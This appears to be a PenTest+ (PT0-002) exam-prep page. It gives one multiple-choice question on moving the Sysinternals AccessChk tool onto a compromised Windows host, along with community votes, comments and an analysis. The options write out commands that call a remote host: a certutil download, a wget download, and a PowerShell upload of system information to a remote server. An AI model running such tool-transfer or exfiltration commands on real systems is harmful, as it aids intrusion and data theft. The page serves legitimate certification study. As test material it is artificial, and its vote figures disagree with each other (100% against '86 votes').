Which command downloads AccessChk to check misconfigured Windows service permissions?

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester start this process?

  1. certutil –urlcache –split –f http://192.168.2.124/windows-binaries/accesschk64.exe Source Reference Answer
  2. powershell (New-Object System.Net.WebClient).UploadFile(‘http://192.168.2.124/upload.php’, ‘systeminfo.txt’)
  3. schtasks /query /fo LIST /v | find /I “Next Run Time:”
  4. wget http://192.168.2.124/windows-binaries/accesschk64.exe –O accesschk64.exe

Community Votes

A
100%

100% of anonymous learners picked answer A. Votes are pick records left by other test-takers — they are not the verified answer.

Community Insight

This question tests your ability to transfer a reconnaissance tool to a Windows host using a built-in command. The trap is confusing wget with certutil — wget is not native to Windows, so option A is the reliable choice.

For PT0-002, the best command to start exploiting misconfigured service permissions is certutil to download accesschk64.exe. The community overwhelmingly supports option A, as certutil is a native Windows utility while wget is typically unavailable.

Choosing option D (wget) is the most common mistake because wget downloads files. However, Windows default configurations do not include wget, so the tester would not be able to run it from a low-privilege shell. Certutil is the native Windows downloader.

Community Discussion (5 comments)

041ba31 👍 3 Selected: A
This command uses certutil, a command-line utility that can be used to manage certificates in Windows, to download a file from a specified URL. In this context, the file being downloaded is accesschk64.exe, a utility from Sysinternals that can be used to check for misconfigured service permissions. By downloading AccessChk, the penetration tester can start checking services on the Windows server for any misconfigurations that might be exploitable for privilege escalation.
041ba31 👍 1 Selected: A
The certutil command is used to download files from a specified URL, in this case, AccessChk, a tool by Sysinternals that can check misconfigured service permissions, aiding in privilege escalation efforts
Big_Dre 👍 1 Selected: A
Option A is the most relevant command for a penetration tester looking to explore misconfigured service permissions. certutil -urlcache -split -f http://192.168.2.124/windows-binaries/accesschk64.exe This command downloads a tool called accesschk64.exe, which is used for checking permissions, specifically for Windows binaries. This would allow the tester to analyze the permissions of various services and binaries on the Windows server, potentially identifying misconfigurations that could be exploited. Option B uploads a systeminfo.txt file to a remote server, which is not relevant to exploring service permissions. Option C queries scheduled tasks and looks for the next run time, which might not directly relate to exploring service permissions. Option D uses wget to download accesschk64.exe, similar to Option A, but lacks the splitting and caching functionality provided by certutil, making it less optimal.
Rezaee 👍 1 Selected: A
A. certutil –urlcache –split –f http://192.168.2.124/windows-binaries/accesschk64.exe
randompentesteruser 👍 1 Selected: D
Option D : the wget command allows you to download the accesschk.exe to explore system configurations and permissions.

Comments & Corrections

No comments yet — spotted an error or have a note? Share it below.

Log in to comment, report an error, or add a note about this question.

Submitted for moderation before publishing. Keep it helpful and respectful.

Expert Analysis

Why the Answer Is Correct

Certutil is a built-in Windows command-line utility that can download files from a URL using the -urlcache and -f flags. Option A explicitly downloads accesschk64.exe, a Sysinternals tool designed to check permissions on Windows services and other objects. This is exactly what a tester needs to identify misconfigured service permissions that could lead to privilege escalation. Community comments [1] and [2] highlight this reasoning, noting that AccessChk can be used to check service permissions.

Why the Other Options Are Wrong

Option B uses PowerShell's UploadFile method, which sends a file to a web server — the opposite of what is needed here. Option C only queries scheduled tasks and does not help with service permission analysis. Option D uses wget, a common Linux tool that is not available by default on Windows; community comment [5] incorrectly suggests it, but the question specifies a default Windows configuration, making certutil the correct native method.

Community Comment Notes

All top-voted comments (A with 86 votes) correctly identify certutil as the right command. Comments [1] and [2] emphasize that AccessChk is used to check misconfigured service permissions. Comment [5] is the only dissenting answer and is misleading because wget is not part of the Windows default environment. The consensus is clear: use certutil to download AccessChk for this privilege escalation reconnaissance step.

Official Reference

Exam Strategy

When transferring tools to a Windows host during a pentest, prefer native commands like certutil or PowerShell. For this specific scenario, remember that AccessChk is the go-to utility for checking service permissions, and certutil is the standard way to get it onto the target.

Related Analysis

A penetration tester is conducting an engagement for a compa

S-Grade

A penetration testing team has gained access to an organizat

S-Grade

Which of the following documents should be consulted if a cl

S-Grade

← Back to PT0-002 Study Guide